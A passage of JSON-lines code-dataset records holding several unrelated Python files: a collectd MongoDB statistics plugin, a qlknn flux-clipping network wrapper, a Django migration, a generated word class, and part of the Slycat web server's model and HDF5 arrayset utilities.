datetime\nimport functools\nimport json\nimport operator\nimport pprint\nimport random\nimport sys\n\ntry:\n from urllib import urlencode\n from urlparse import urlunparse\nexcept ImportError: # py3\n from urllib.parse import urlencode, urlunparse\n\nimport pymongo\n\nimport collectd\n\n\nSERVER_STATS = {\n \"asserts\": \"asserts\",\n #\"commands\": \"metrics.commands\",\n \"connections\": \"connections\",\n \"cursors\": \"cursors\",\n \"extra_info\": \"extra_info\",\n \"opcounters\": \"opcounters\",\n \"rss\": \"mem.resident\",\n \"uptime\": \"uptimeMillis\",\n}\n\nSERVER_STATS_MONGOD = {\n \"backgroundFlushing\": \"backgroundFlushing\",\n \"journal\": \"dur\",\n \"global_lock\": \"globalLock\",\n \"locks\": \"locks\",\n \"opcountersRepl\": \"opcountersRepl\",\n #\"repl\": \"repl\",\n}\n\n_FLAG_FIRST = random.randint(-sys.maxsize-1, sys.maxsize)\n\nINSTANCES = []\n\n\ndef flatten_dict(d, join=operator.add, lift=lambda x: x):\n results = []\n def visit(subdict, results, partialKey):\n for k,v in subdict.items():\n newKey = lift(k) if partialKey == _FLAG_FIRST else join(partialKey, lift(k))\n if isinstance(v, collections.Mapping):\n visit(v, results, newKey)\n else:\n results.append((newKey, v))\n visit(d, results, _FLAG_FIRST)\n return dict(results)\n\n\ndef get_metrics(_dict, metric_prefix, mapping):\n try:\n val = functools.reduce(lambda x, y: x[y], mapping.split(\".\"), _dict)\n except KeyError:\n #collectd.error(\"Value for {} could not be fetched.\".format(mapping))\n return {}\n else:\n if isinstance(val, collections.Mapping):\n return {\n \".\".join([metric_prefix, k]): v for k, v in flatten_dict(\n val, join=lambda x, y: \".\".join([x, y])\n ).items() if is_num(v)\n }\n else:\n return {metric_prefix: val}\n\n\ndef is_num(val):\n num_types = [int, float]\n try:\n num_types.append(long)\n except NameError: # long exists only in py2\n pass\n return any([isinstance(val, t) for t in num_types])\n\n\ndef dispatch_stat(plugin_instance, type_instance, value, host=None):\n val = collectd.Values(plugin=\"mongodb\", plugin_instance=plugin_instance,\n type_instance=type_instance, type=\"gauge\", # you sure?\n )\n\n if host:\n val.host = host\n\n if is_num(value):\n val.values = [value]\n val.dispatch()\n # there are a few time values we'd really like to monitor\n elif isinstance(value, datetime.datetime):\n val.values = [int(value.strftime(\"%s\"))]\n val.dispatch()\n\n\nclass MongoDB(object):\n def __init__(self):\n self.hosts = [\"127.0.0.1:27017\"]\n self.authdb = \"admin\"\n self.username = \"\"\n self.password = \"\"\n self.options = {}\n self.dblist = []\n self.conn = None\n self.replication = False\n self.sharding = False\n\n def init(self):\n self.conn = pymongo.MongoClient(host=urlunparse([\n \"mongodb\", # scheme (always \"mongodb\")\n \"{}:{}@{}\".format( # netloc (comma-separated list of [:])\n self.username, self.password, \",\".join(self.hosts)\n ) if self.username and self.password else \",\".join(self.hosts),\n self.authdb, # path (auth db)\n \"\", # params (always empty)\n urlencode(self.options), # query string (list of connection options)\n \"\", # fragment\n ]))\n\n def read(self):\n self.get_server_status()\n self.get_db_stats()\n if self.replication:\n self.get_repl_status()\n if self.sharding:\n self.get_shard_status()\n\n # https://docs.mongodb.org/manual/reference/command/serverStatus/\n def get_server_status(self):\n metrics = {}\n output = self.conn[self.authdb].command(\"serverStatus\")\n if output.get(\"ok\", 0):\n output.pop(\"$gleStats\", 0)\n for metric_prefix, mapping in SERVER_STATS.items():\n metrics.update(get_metrics(output, metric_prefix, mapping))\n\n if output[\"process\"] == \"mongod\":\n for metric_prefix, mapping in SERVER_STATS_MONGOD.items():\n metrics.update(get_metrics(output, metric_prefix, mapping))\n\n for m, v in metrics.items():\n dispatch_stat(output[\"host\"], m, v, host=output[\"host\"])\n\n # https://docs.mongodb.org/manual/reference/command/dbStats/\n def get_db_stats(self):\n for db in self.dblist:\n output = self.conn[db].command(\"dbStats\")\n if output.get(\"ok\", 0):\n # pop out keys that aren't shared between sharded, replicated or standalone\n [output.pop(key, 0) for key in [\"collections\", \"nsSize\", \"dataFileVersion\", \"raw\", \"$gleStats\"]]\n for k, v in output.items():\n dispatch_stat(db, \"db.{}\".format(k), v)\n\n # https://docs.mongodb.org/manual/reference/command/collStats/\n def get_coll_stats(self): # implement it sometime\n pass\n\n # https://docs.mongodb.org/manual/reference/command/replSetGetStatus/\n def get_repl_status(self):\n output = self.conn[self.authdb].command(\"replSetGetStatus\")\n primary = {}\n if output.get(\"ok\", 0):\n output.pop(\"$gleStats\", 0)\n\n # find primary member\n for member in output.get(\"members\", []):\n # https://docs.mongodb.org/manual/reference/replica-states/\n if member[\"state\"] == 1:\n primary = member\n\n for member in output.get(\"members\", []):\n # pop out useless fields\n [member.pop(key, 0) for key in [\"_id\", \"self\"]]\n\n for k, v in member.items():\n dispatch_stat(output[\"set\"], \"replication.{}\".format(k), v, host=member[\"name\"])\n\n # only primaries and secondaries\n if member.get(\"state\") in range(1, 3):\n dispatch_stat(output[\"set\"], \"replication.lag\",\n (primary[\"optimeDate\"]-member[\"optimeDate\"]).total_seconds(),\n host=member[\"name\"])\n\n # https://docs.mongodb.org/manual/reference/config-database/\n def get_shard_status(self):\n cluster_id = str(self.conn[\"config\"][\"version\"].find_one()[\"clusterId\"])\n\n # send balancer lock state\n dispatch_stat(cluster_id, \"shard.balancer_lock\",\n int(self.conn[\"config\"][\"locks\"].find_one({\"_id\": \"balancer\"})[\"state\"]))\n\n # check collections' balances\n chunkCount = self.conn[\"config\"][\"chunks\"].count()\n shardCount = self.conn[\"config\"][\"shards\"].count()\n\n threshold = 8\n if chunkCount > 20 and chunkCount < 80:\n threshold = 4\n elif chunkCount <= 20:\n threshold = 2\n\n chunks = collections.defaultdict(lambda: collections.defaultdict(lambda: 1))\n nss = collections.defaultdict(lambda: 1)\n\n for chunk in self.conn[\"config\"][\"chunks\"].find():\n if \"ns\" in chunk.keys():\n chunks[chunk[\"ns\"]][chunk[\"shard\"]] += 1\n nss[chunk[\"ns\"]] += 1\n\n for namespace, total_chunks in nss.items():\n average = total_chunks / shardCount\n\n balanced = True\n for shard, shard_chunks in chunks[namespace].items():\n if chunks[namespace][shard] > average - threshold and chunks[namespace][shard] < average + threshold:\n balanced = False\n\n dispatch_stat(namespace, \"shard.collection_balanced\", int(balanced))\n\n\ndef configure_callback(conf):\n instance = MongoDB()\n\n for node in conf.children:\n if node.key.lower() == \"hosts\":\n instance.hosts = node.values\n elif node.key.lower() == \"authdb\":\n instance.authdb = str(node.values[0])\n elif node.key.lower() == \"username\":\n instance.username = str(node.values[0])\n elif node.key.lower() == \"password\":\n instance.password = str(node.values[0])\n elif node.key.lower() == \"dblist\":\n instance.dblist = node.values\n elif node.key.lower() == \"replicationstats\":\n instance.replication = bool(node.values[0])\n elif node.key.lower() == \"shardingstats\":\n instance.sharding = bool(node.values[0])\n else: # ambiguous?\n instance.options[node.key] = str(node.values[0])\n\n INSTANCES.append(instance)\n\n\ndef init_callback():\n [instance.init() for instance in INSTANCES]\n\n\ndef read_callback():\n [instance.read() for instance in INSTANCES]\n\n\ncollectd.register_config(configure_callback)\ncollectd.register_init(init_callback)\ncollectd.register_read(read_callback)\n","sub_path":"collectd_mongodb.py","file_name":"collectd_mongodb.py","file_ext":"py","file_size_in_byte":8807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"304666226","text":"\n\nfrom xai.brain.wordbase.nouns._hometown import _HOMETOWN\n\n#calss header\nclass _HOMETOWNS(_HOMETOWN, ):\n\tdef __init__(self,): \n\t\t_HOMETOWN.__init__(self)\n\t\tself.name = \"HOMETOWNS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"hometown\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_hometowns.py","file_name":"_hometowns.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"535087640","text":"import os\n\nimport numpy as np\nimport pandas as pd\nfrom IPython import embed\n\nfrom qlknn.models.ffnn import QuaLiKizNDNN, QuaLiKizComboNN, determine_settings\nfrom qlknn.misc.analyse_names import is_pure_flux, is_flux, split_name\n\ndef xorxor(list_of_arrays):\n lenlist = [len(arr) for arr in list_of_arrays]\n if lenlist[1:] != lenlist[:-1]:\n raise ValueError('Passed lists have unequal lenghts')\n full_xor = np.full_like(list_of_arrays[0], False)\n for arr in list_of_arrays:\n full_xor = np.logical_xor(full_xor, arr)\n return full_xor\n\nleading_flux_dict = {'ETG': 'efeETG',\n 'ITG': 'efiITG',\n 'TEM': 'efeTEM'}\nclass LeadingFluxNN(QuaLiKizNDNN):\n def __init__(self, network):\n if not isinstance(network, QuaLiKizComboNN):\n print('WARNING! Untested for network not QuaLiKizCombo')\n\n #clip_identifiers = [split_name(name)[2] for name in leading_fluxes]\n modes = ['ETG', 'ITG', 'TEM']\n self._clip_idx = {id: np.flatnonzero(network._target_names.apply(lambda x: x.find(id) >= 0)) for id in modes}\n clip_identifiers = [key for key, val in self._clip_idx.items() if len(val) > 0]\n leading_fluxes = ['_'.join([name, 'GB']) for mode, name in leading_flux_dict.items() if mode in clip_identifiers]\n if not set(np.hstack(self._clip_idx.values())) == set(range(0, len(network._target_names))):\n raise Exception('Unexpected target_names {!s} for identifiers {!s}'\n .format(network._target_names.tolist(), clip_identifiers))\n self._leading_idx = {id: np.squeeze(np.flatnonzero(network._target_names == lead_id), 0) for id, lead_id in zip(clip_identifiers, leading_fluxes)}\n lenlist = [arr.size for arr in self._leading_idx.values()]\n if not (lenlist[1:] == lenlist[:-1] and lenlist[0] == 1):\n raise Exception('Could not find leading fluxes {!s} in target_names {!s}'\n .format(leading_fluxes, network._target_names.tolist()))\n self._internal_network = network\n\n # Copy parts of internal network\n self._target_names = self._internal_network._target_names\n self._feature_names = self._internal_network._feature_names\n self._feature_min = self._internal_network._feature_min\n self._feature_max = self._internal_network._feature_max\n self._target_min = self._internal_network._target_min\n self._target_max = self._internal_network._target_max\n\n def get_output(self, input, clip_low=False, clip_high=False, low_bound=None, high_bound=None, safe=True, output_pandas=True):\n nn = self._internal_network\n nn_input, safe, clip_low, clip_high, low_bound, high_bound = \\\n determine_settings(nn, input, safe, clip_low, clip_high, low_bound, high_bound)\n del input\n\n output = nn.get_output(nn_input, output_pandas=False, clip_low=False, clip_high=False, safe=safe)\n for id in self._leading_idx.keys():\n leading_idx = self._leading_idx[id]\n clip_idx = self._clip_idx[id]\n output[np.ix_(output[:, leading_idx] <= 0, clip_idx)] = 0\n\n if output_pandas is True:\n output = pd.DataFrame(output, columns=self._target_names)\n return output\n\n @staticmethod\n def add_leading_flux_clipping(network):\n network = LeadingFluxNN(network)\n return network\n\nif __name__ == '__main__':\n # Test the function\n test_root = '../../tests/gen3_test_files/'\n nn_efi = QuaLiKizNDNN.from_json(test_root + 'Network_874_efiITG_GB/nn.json', layer_mode='classic')\n nn_div = QuaLiKizNDNN.from_json(test_root + 'Network_302_efeITG_GB_div_efiITG_GB/nn.json', layer_mode='classic')\n nn_efe = QuaLiKizComboNN('efeITG_GB', [nn_efi, nn_div], lambda *x: x[0] * x[1])\n target_names = nn_efe._target_names.append(nn_efi._target_names, ignore_index=True)\n nn_combo = QuaLiKizComboNN(target_names, [nn_efe, nn_efi], lambda *x: np.hstack(x))\n nn = LeadingFluxNN(nn_combo)\n\n #from qlknn.NNDB.model import Network\n #nn_combo = Network.get_by_id(1551).to_QuaLiKizNN()\n #nn = LeadingFluxNN(nn_combo)\n\n scann = 100\n input = pd.DataFrame()\n input['Ati'] = np.array(np.linspace(2,13, scann))\n input['Ti_Te'] = np.full_like(input['Ati'], 1.)\n input['Zeff'] = np.full_like(input['Ati'], 1.)\n input['An'] = np.full_like(input['Ati'], 2.)\n input['Ate'] = np.full_like(input['Ati'], 5.)\n #input['q'] = np.full_like(input['Ati'], 0.660156)\n input['q'] = np.full_like(input['Ati'], 1.4)\n input['smag'] = np.full_like(input['Ati'], 0.399902)\n input['logNustar'] = np.full_like(input['Ati'], np.log10(0.009995))\n input['x'] = np.full_like(input['Ati'], 0.449951)\n input = input[nn._feature_names]\n\n pd.set_option('display.max_columns', 50)\n fluxes_clipped = nn.get_output(input.values, safe=False)\n fluxes = nn_combo.get_output(input.values, safe=False)\n fluxes = fluxes.merge(fluxes_clipped, left_index=True, right_index=True, suffixes=('', '_clip'))\n\n print(fluxes)\n embed()\n","sub_path":"qlknn/models/clipping.py","file_name":"clipping.py","file_ext":"py","file_size_in_byte":5092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"293423317","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport prensa.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('prensa', '0005_auto_20151223_1620'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='imagenprensa',\n name='imagen',\n field=models.ImageField(upload_to=prensa.models.subir_imagen, blank=True),\n ),\n ]\n","sub_path":"intranet_raiz/prensa/migrations/0006_auto_20151223_1635.py","file_name":"0006_auto_20151223_1635.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"607321622","text":"# Copyright (c) 2013, 2018 National Technology and Engineering Solutions of Sandia, LLC . Under the terms of Contract\n# DE-NA0003525 with National Technology and Engineering Solutions of Sandia, LLC, the U.S. Government\n# retains certain rights in this software.\n\nimport os\nimport shutil\nimport uuid\nimport datetime\nimport cherrypy\nimport numpy\nimport paramiko\nimport traceback\nimport json\nimport slycat.hdf5\nimport slycat.hyperchunks\nimport slycat.web.server.hdf5\nimport slycat.web.server.remote\nfrom slycat.web.server.cache import Cache\nfrom urllib.parse import urlparse, parse_qs\nimport functools\nimport threading\nimport base64\nimport six\nimport time\n\nconfig = {}\ncache_it = Cache(seconds=1000000) # 277.777778 hours\nmodel_locks = {}\nproject_data_locks = {}\n\ndef tonative(n, encoding='ISO-8859-1'):\n \"\"\"Return the given string as a native string in the given encoding.\"\"\"\n # In Python 2, the native string type is bytes.\n if isinstance(n, six.text_type): # unicode for Python 2\n return n.encode(encoding)\n return n\n\ndef base64_decode(n, encoding='ISO-8859-1'):\t\n \"\"\"Return the native string base64-decoded (as a native string).\"\"\"\t\n decoded = base64.decodestring(n.encode('ascii'))\t\n return tonative(decoded, encoding)\n\ndef mix(a, b, amount):\n \"\"\"Linear interpolation between two numbers. Useful for computing model progress.\"\"\"\n return ((1.0 - amount) * a) + (amount * b)\n\n\n# @cache_it\ndef evaluate(hdf5_array, expression, expression_type, expression_level=0, hyperslice=None):\n \"\"\"Evaluate a hyperchunk expression.\"\"\"\n # cherrypy.log.error(\"%sEvaluating %s expression: %s\" % (\n # \" \" * expression_level, expression_type, slycat.hyperchunks.tostring(expression)))\n\n if isinstance(expression, int):\n return expression\n elif isinstance(expression, float):\n return expression\n elif isinstance(expression, str):\n return expression\n elif isinstance(expression, slycat.hyperchunks.grammar.AttributeIndex):\n if hyperslice is None:\n return hdf5_array.get_data(expression.index)[...]\n else:\n return hdf5_array.get_data(expression.index)[hyperslice]\n elif isinstance(expression, slycat.hyperchunks.grammar.BinaryOperator):\n left = evaluate(hdf5_array, expression.operands[0], expression_type, expression_level + 1)\n for operand in expression.operands[1:]:\n right = evaluate(hdf5_array, operand, expression_type, expression_level + 1)\n # cherrypy.log.error(\"left::%s \\n right::%s\" % (left, right))\n if expression.operator == \"<\":\n left = left < right\n elif expression.operator == \">\":\n left = left > right\n elif expression.operator == \"<=\":\n left = left <= right\n elif expression.operator == \">=\":\n left = left >= right\n elif expression.operator == \"==\":\n if numpy.isnan(right):\n left = numpy.isnan(left)\n else:\n left = left == right\n elif expression.operator == \"!=\":\n left = left != right\n elif expression.operator == \"and\":\n left = numpy.logical_and(left, right)\n elif expression.operator == \"or\":\n left = numpy.logical_or(left, right)\n elif expression.operator == \"in\":\n left = numpy.in1d(left, right)\n elif expression.operator == \"not in\":\n left = numpy.in1d(left, right, invert=True)\n else:\n cherrypy.log.error(\"slycat.web.server.__init__.py evaluate\",\n \"Unknown operator: %s\" % expression.operator)\n raise ValueError(\"Unknown operator: %s\" % expression.operator)\n return left\n elif isinstance(expression, slycat.hyperchunks.grammar.FunctionCall):\n if expression.name == \"index\":\n if hyperslice is None:\n return numpy.indices(hdf5_array.shape)[expression.args[0]]\n else:\n return numpy.indices(hdf5_array.shape)[expression.args[0]][hyperslice]\n elif expression.name == \"rank\":\n values = evaluate(hdf5_array, expression.args[0], expression_type, expression_level + 1)\n order = numpy.argsort(values)\n if expression.args[1] == \"desc\":\n order = order[::-1]\n return order\n else:\n cherrypy.log.error(\"slycat.web.server.__init__.py evaluate\", \"Unknown function: %s\" % expression.name)\n raise ValueError(\"Unknown function: %s\" % expression.name)\n elif isinstance(expression, slycat.hyperchunks.grammar.List):\n return expression.values\n else:\n cherrypy.log.error(\"slycat.web.server.__init__.py evaluate\", \"Unknown expression: %s\" % expression)\n raise ValueError(\"Unknown expression: %s\" % expression)\n\n\ndef update_model(database, model, **kwargs):\n \"\"\"\n Update the model, and signal any waiting threads that it's changed.\n will only update model base on \"state\", \"result\", \"started\", \"finished\", \"progress\", \"message\"\n \"\"\"\n with get_model_lock(model[\"_id\"]):\n model = database.get('model',model[\"_id\"])\n for name, value in list(kwargs.items()):\n if name in [\"state\", \"result\", \"started\", \"finished\", \"progress\", \"message\"]:\n model[name] = value\n database.save(model)\n\ndef parse_existing_file(database, parser, input, attachment, model, aid):\n \"\"\"\n calls the parse function specified by the registered parser\n :return: not used\n \"\"\"\n kwargs = {}\n aids = []\n aids.append(aid)\n try:\n slycat.web.server.plugin.manager.parsers[parser][\"parse\"](database, model, input, attachment,\n aids, **kwargs)\n except Exception as e:\n cherrypy.log.error(\"[MICROSERVICE] Exception parsing posted files: %s\" % str(e))\n cherrypy.log.error(traceback.format_exc())\n cherrypy.log.error(\"[MICROSERVICE] Upload parsing finished.\")\n\n@cache_it\ndef get_model_arrayset_metadata(database, model, aid, arrays=None, statistics=None, unique=None):\n \"\"\"Retrieve metadata describing an arrayset artifact.\n Parameters\n ----------\n database: database object, required\n model: model object, required\n aid: string, required\n Unique (to the model) arrayset artifact id.\n arrays: string or hyperchunks parse tree, optional\n Specifies a collection of arrays, in :ref:`Hyperchunks` format. Metadata\n describing the specified arrays will be returned in the results.\n statistics: string or hyperchunks parse tree, optional\n Specifies a collection of array attributes, in :ref:`Hyperchunks` format.\n Statistics describing each attribute will be returned in the results.\n unique: string or hyperchunks parse tree, optional\n Specifies a collection of array attributes, in :ref:`Hyperchunks` format.\n Unique values from each attribute will be returned in the results.\n Returns\n -------\n metadata: dict\n See Also\n --------\n :http:get:`/models/(mid)/arraysets/(aid)/metadata`\n \"\"\"\n if isinstance(arrays, str):\n arrays = slycat.hyperchunks.parse(arrays)\n if isinstance(statistics, str):\n statistics = slycat.hyperchunks.parse(statistics)\n if isinstance(unique, str):\n unique = slycat.hyperchunks.parse(unique)\n\n # Handle legacy behavior.\n if arrays is None and statistics is None and unique is None:\n with slycat.web.server.hdf5.lock:\n with slycat.web.server.hdf5.open(model[\"artifact:%s\" % aid], \"r+\") as file:\n hdf5_arrayset = slycat.hdf5.ArraySet(file)\n results = []\n for array in sorted(hdf5_arrayset.keys()):\n hdf5_array = hdf5_arrayset[array]\n results.append({\n \"array\": int(array),\n \"index\": int(array),\n \"dimensions\": hdf5_array.dimensions,\n \"attributes\": hdf5_array.attributes,\n \"shape\": tuple([dimension[\"end\"] - dimension[\"begin\"] for dimension in hdf5_array.dimensions]),\n })\n return results\n\n with slycat.web.server.hdf5.lock:\n with slycat.web.server.hdf5.open(model[\"artifact:%s\" % aid],\n \"r+\") as file: # We have to open the file with writing enabled in case the statistics cache needs to be updated.\n hdf5_arrayset = slycat.hdf5.ArraySet(file)\n results = {}\n if arrays is not None:\n results[\"arrays\"] = []\n for array in slycat.hyperchunks.arrays(arrays, hdf5_arrayset.array_count()):\n hdf5_array = hdf5_arrayset[array.index]\n results[\"arrays\"].append({\n \"index\": array.index,\n \"dimensions\": hdf5_array.dimensions,\n \"attributes\": hdf5_array.attributes,\n \"shape\": tuple([dimension[\"end\"] - dimension[\"begin\"] for dimension in hdf5_array.dimensions]),\n })\n if statistics is not None:\n results[\"statistics\"] = []\n for array in slycat.hyperchunks.arrays(statistics, hdf5_arrayset.array_count()):\n hdf5_array = hdf5_arrayset[array.index]\n for attribute in array.attributes(len(hdf5_array.attributes)):\n statistics = {}\n statistics[\"array\"] = array.index\n if isinstance(attribute.expression, slycat.hyperchunks.grammar.AttributeIndex):\n statistics[\"attribute\"] = attribute.expression.index\n statistics.update(hdf5_array.get_statistics(attribute.expression.index))\n else:\n values = evaluate(hdf5_array, attribute.expression, \"statistics\")\n statistics[\"min\"] = values.min()\n statistics[\"max\"] = values.max()\n statistics[\"unique\"] = len(numpy.unique(values))\n results[\"statistics\"].append(statistics)\n\n if unique is not None:\n results[\"unique\"] = []\n for array in slycat.hyperchunks.arrays(unique, hdf5_arrayset.array_count()):\n hdf5_array = hdf5_arrayset[array.index]\n for attribute in array.attributes(len(hdf5_array.attributes)):\n unique = {}\n unique[\"array\"] = array.index\n unique[\"values\"] = []\n if isinstance(attribute.expression, slycat.hyperchunks.grammar.AttributeIndex):\n for hyperslice in attribute.hyperslices():\n unique[\"attribute\"] = attribute.expression.index\n unique[\"values\"].append(\n hdf5_array.get_unique(attribute.expression.index, hyperslice)[\"values\"])\n else:\n values = evaluate(hdf5_array, attribute.expression, \"uniques\")\n for hyperslice in attribute.hyperslices():\n unique[\"values\"].append(numpy.unique(values)[hyperslice])\n if isinstance(unique[\"values\"][0], list):\n unique[\"values\"] = [a.tolist() for a in unique[\"values\"]]\n results[\"unique\"].append(unique)\n\n return results\n\n\n@cache_it\ndef get_model_arrayset_data(database, model, aid, hyperchunks):\n \"\"\"\n Read data from an arrayset artifact.\n Parameters\n ----------\n database: database object, required\n model: model object, required\n aid: string, required\n Unique (to the model) arrayset artifact id.\n hyperchunks: string or hyperchunks parse tree, required\n Specifies the data to be retrieved, in :ref:`Hyperchunks` format.\n Returns\n -------\n data: sequence of numpy.ndarray data chunks.\n See Also\n --------\n `/api/models/(mid)/arraysets/(aid)/data`\n \"\"\"\n\n # parse hyperchunks\n if isinstance(hyperchunks, str):\n hyperchunks = slycat.hyperchunks.parse(hyperchunks)\n return_list = []\n\n # get lock and open file\n with slycat.web.server.hdf5.lock:\n with slycat.web.server.hdf5.open(model[\"artifact:%s\" % aid], \"r+\") as file:\n\n # instatiate arrayset\n hdf5_arrayset = slycat.hdf5.ArraySet(file)\n\n # go through each array in arrayset\n for array in slycat.hyperchunks.arrays(hyperchunks, hdf5_arrayset.array_count()):\n\n # instatiate array\n hdf5_array = hdf5_arrayset[array.index]\n\n # return values in hyperchunk order\n if array.order is not None:\n order = evaluate(hdf5_array, array.order, \"order\")\n\n # go through each attribute in array\n for attribute in array.attributes(len(hdf5_array.attributes)):\n\n # previous code: this pulls entire dataset! \n # values = evaluate(hdf5_array, attribute.expression, \"attribute\")\n\n # if order is present, we still pull entire dataset\n if array.order is not None:\n values = evaluate(hdf5_array, attribute.expression, \"attribute\")\n\n # get each hyperslice\n for hyperslice in attribute.hyperslices():\n\n # put in order, if necessary\n if array.order is not None:\n return_list.append(values[order][hyperslice])\n \n else:\n\n # prevous code -- select hyperslices from all values\n # return_list.append(values[hyperslice]) \n\n # new code: only pull one hyperslice at a time\n values = evaluate(hdf5_array, attribute.expression, \"attribute\",\n hyperslice=hyperslice)\n return_list.append(values)\n\n return return_list\n\n\ndef get_model_parameter(database, model, aid):\n key = \"artifact:%s\" % aid\n if key not in model:\n # cherrypy.log.error(\"slycat.web.server.__init__.py get_model_parameter\", \"Unknown artifact: %s\" % aid)\n raise KeyError(\"Unknown artifact: %s\" % aid)\n return model[\"artifact:\" + aid]\n\n\ndef put_model_arrayset(database, model, aid, input=False):\n \"\"\"\n Start a new model array set artifact.\n :param database: the database with our model\n :param model: the model\n :param aid: artifact id\n :param input:\n :return:\n \"\"\"\n model = database.get('model',model[\"_id\"])\n slycat.web.server.update_model(database, model, message=\"Starting array set %s.\" % (aid))\n storage = uuid.uuid4().hex\n with slycat.web.server.hdf5.lock:\n with slycat.web.server.hdf5.create(storage) as file:\n arrayset = slycat.hdf5.start_arrayset(file)\n with get_model_lock(model[\"_id\"]):\n database.save({\"_id\": storage, \"type\": \"hdf5\"})\n model = database.get('model',model[\"_id\"])\n model[\"artifact:%s\" % aid] = storage\n model[\"artifact-types\"][aid] = \"hdf5\"\n if input:\n model[\"input-artifacts\"] = list(set(model[\"input-artifacts\"] + [aid]))\n database.save(model)\n\n\ndef put_model_array(database, model, aid, array_index, attributes, dimensions):\n \"\"\"\n store array for model\n \n :param database: database of model\n :param model: model as an object\n :param aid: artifact id (eg data-table)\n :param array_index: index of the array\n :param attributes: name and type in column\n :param dimensions: number of data rows\n :return:\n \"\"\"\n slycat.web.server.update_model(database, model, message=\"Starting array set %s array %s.\" % (aid, array_index))\n model = database.get('model', model['_id'])\n storage = model[\"artifact:%s\" % aid]\n with slycat.web.server.hdf5.lock:\n with slycat.web.server.hdf5.open(storage, \"r+\") as file:\n slycat.hdf5.ArraySet(file).start_array(array_index, dimensions, attributes)\n\n\ndef put_model_arrayset_data(database, model, aid, hyperchunks, data):\n \"\"\"Write data to an arrayset artifact.\n\n Parameters\n ----------\n database: database object, required\n model: model object, required\n aid: string, required\n Unique (to the model) arrayset artifact id.\n hyperchunks: string or hyperchunks parse tree, required\n Specifies where the data will be stored, in :ref:`Hyperchunks` format.\n data: iterable, required\n A collection of numpy.ndarray data chunks to be stored. The number of\n data chunks must match the number implied by the `hyperchunks` parameter.\n\n See Also\n --------\n :http:put:`/api/models/(mid)/arraysets/(aid)/data`\n \"\"\"\n # cherrypy.log.error(\"put_model_arrayset_data called with: {}\".format(aid))\n if isinstance(hyperchunks, str):\n hyperchunks = slycat.hyperchunks.parse(hyperchunks)\n\n data = iter(data)\n slycat.web.server.update_model(database, model, message=\"Storing data to array set %s.\" % (aid))\n model = database.get('model', model['_id'])\n with slycat.web.server.hdf5.lock:\n with slycat.web.server.hdf5.open(model[\"artifact:%s\" % aid], \"r+\") as file:\n hdf5_arrayset = slycat.hdf5.ArraySet(file)\n for array in slycat.hyperchunks.arrays(hyperchunks, hdf5_arrayset.array_count()):\n hdf5_array = hdf5_arrayset[array.index]\n for attribute in array.attributes(len(hdf5_array.attributes)):\n if not isinstance(attribute.expression, slycat.hyperchunks.grammar.AttributeIndex):\n cherrypy.log.error(\"slycat.web.server.__init__.py put_model_arrayset_data\",\n \"Cannot write to computed attribute.\")\n raise ValueError(\"Cannot write to computed attribute.\")\n\n stored_type = slycat.hdf5.dtype(hdf5_array.attributes[attribute.expression.index][\"type\"])\n for hyperslice in attribute.hyperslices():\n data_hyperslice = next(data)\n if isinstance(data_hyperslice, list):\n data_hyperslice = numpy.array(data_hyperslice, dtype=stored_type)\n hdf5_array.set_data(attribute.expression.index, hyperslice, data_hyperslice)\n file.close()\n\n\ndef put_model_file(database, model, aid, value, content_type, input=False):\n with get_model_lock(model[\"_id\"]):\n fid = database.write_file(model, content=value, content_type=content_type)\n model = database[model[\n \"_id\"]] # This is a workaround for the fact that put_attachment() doesn't update the revision number for us.\n model[\"artifact:%s\" % aid] = fid\n model[\"artifact-types\"][aid] = \"file\"\n if input:\n model[\"input-artifacts\"] = list(set(model[\"input-artifacts\"] + [aid]))\n database.save(model)\n return model\n\n\ndef get_model_file(database, model, aid):\n artifact = model.get(\"artifact:%s\" % aid, None)\n if artifact is None:\n raise cherrypy.HTTPError(404)\n artifact_type = model[\"artifact-types\"][aid]\n if artifact_type != \"file\":\n raise cherrypy.HTTPError(\"400 %s is not a file artifact.\" % aid)\n fid = artifact\n return database.get_attachment(model, fid)\n\n\ndef put_model_inputs(database, model, source, deep_copy=False):\n slycat.web.server.update_model(database, model, message=\"Copying existing model inputs.\")\n for aid in source[\"input-artifacts\"]:\n original_type = source[\"artifact-types\"][aid]\n original_value = source[\"artifact:%s\" % aid]\n\n if original_type == \"json\":\n model[\"artifact:%s\" % aid] = original_value\n elif original_type == \"hdf5\":\n if deep_copy:\n new_value = uuid.uuid4().hex\n os.makedirs(os.path.dirname(slycat.web.server.hdf5.path(new_value)))\n with slycat.web.server.hdf5.lock:\n shutil.copy(slycat.web.server.hdf5.path(original_value), slycat.web.server.hdf5.path(new_value))\n with get_model_lock(model[\"_id\"]):\n model[\"artifact:%s\" % aid] = new_value\n database.save({\"_id\": new_value, \"type\": \"hdf5\"})\n else:\n model[\"artifact:%s\" % aid] = original_value\n elif original_type == \"file\":\n original_content = database.get_attachment(source[\"_id\"], original_value)\n original_content_type = source[\"_attachments\"][original_value][\"content_type\"]\n\n database.put_attachment(model, original_content, filename=original_value,\n content_type=original_content_type)\n model[\"artifact:%s\" % aid] = original_value\n else:\n cherrypy.log.error(\"slycat.web.server.__init__.py put_model_inputs\",\n \"Cannot copy unknown input artifact type %s.\" % original_type)\n raise Exception(\"Cannot copy unknown input artifact type %s.\" % original_type)\n model[\"artifact-types\"][aid] = original_type\n model[\"input-artifacts\"] = list(set(model[\"input-artifacts\"] + [aid]))\n with get_model_lock(model[\"_id\"]):\n model[\"_rev\"] = database[model[\"_id\"]][\n \"_rev\"] # This is a workaround for the fact that put_attachment() doesn't update the revision number for us.\n database.save(model)\n\ndef get_project_data_lock(did):\n if did in project_data_locks:\n return project_data_locks[did]\n project_data_locks[did] = threading.Lock()\n return project_data_locks[did]\n\ndef get_model_lock(model_id):\n if model_id in model_locks:\n return model_locks[model_id]\n model_locks[model_id] = threading.Lock()\n return 